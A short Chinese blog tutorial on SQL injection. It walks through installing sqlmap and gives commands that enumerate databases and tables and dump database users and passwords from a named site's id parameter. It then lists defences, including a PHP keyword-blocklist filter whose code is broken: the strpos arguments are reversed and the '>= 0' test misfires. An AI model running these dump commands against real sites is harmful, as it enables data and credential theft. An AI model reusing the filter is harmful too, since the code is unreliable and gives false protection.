sql注入

作者: bbluo | 来源:发表于2018-03-07 15:49 被阅读0次

    概念和原因

    比如在登录输入框内输入“delete from xx”,点击提交就会删掉xx表。

    windows环境发现注入点

    使用sqlmap工具检测注入点是否存在

    安装python(安装sqlmap之前)

    下载地址:https://www.python.org/downloads/,选择2.7的python版本下载。
    安装注意:
    1.安装路径一般默认是C:\Python27,可以修改,但是请记住。
    2.将“Add python.exe to Path"项勾选,勾选后安装完成不再需要单独添加环境变量,默认是“去勾选”的。如果忘记勾选了,可以重新安装或者手动添加C:\Python27到环境变量(不懂可以搜素环境变量的安装)。
    3.设置python到环境变量之后,重启系统,查看是否生效,“Win+R”,输入cmd,然后输入python,出现python版本等信息,证明安装python成功。

    安装sqlmap

    下载地址:http://sqlmap.org/
    安装注意:
    1.将下载的SQLMAP安装包解压到文件夹sqlmap中,并拷贝到 "C:\Python27" 目录下;
    2.“Win+R”,输入cmd,cd到刚刚的sqlmap文件夹,输入sqlmap.py -h,出现sqlmap帮助信息,证明安装成功了

    sqlmap脱裤过程

    “Win+R”,输入cmd,cd到刚刚的sqlmap文件夹,
    例子一:
    输入:sqlmap.py -u http://local.plat.twyyx.com/product/detail?id=9786 --dbs
    结果:爆出所有的数据库名称
    例子二:
    输入:-u "要查的url" --tables -D "要看database"
    结果:爆出要查询数据库的所有表
    例子三:
    输入:sqlmap.py -u http://local.plat.twyyx.com/product/detail?id=9786 --password
    结果:爆出所有的数据库用户和密码
    具体更多功能可网上查找,对于需要登录的注入点,可使用cookie参数

    解决方法

    1.单请求过滤用户输入
    如果知道这个输入值是int的,可以使用类型转化成对应的类型

    2.全局过滤用户输入

    function isExistSqlInject($inject_value) {
        $is_exist_sql_inject = false;
      // 注入关键字
        $inject_keyword = "'|and|exec|union|create|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|xp_|or|--|+";
        $inject_value = strtolower($inject_value);
        $inject_keyword_arr = explode('|', $inject_keyword);
        foreach($inject_keyword_arr as $inject_keyword_one) {
            if (strpos($inject_keyword_one, $inject_value) >= 0) {
                $is_exist_sql_inject = true;
                break;
            }
        }
    
        return $is_exist_sql_inject; 
    }
    

    过滤值可补充,不建议使用此方法

    3.使用pdo的参数绑定
    一般的php框架都会使用pdo参数绑定,前提是要使用数组的方式传参

    相关文章

      网友评论

          本文标题:sql注入

          本文链接:https://www.haomeiwen.com/subject/owgjfftx.html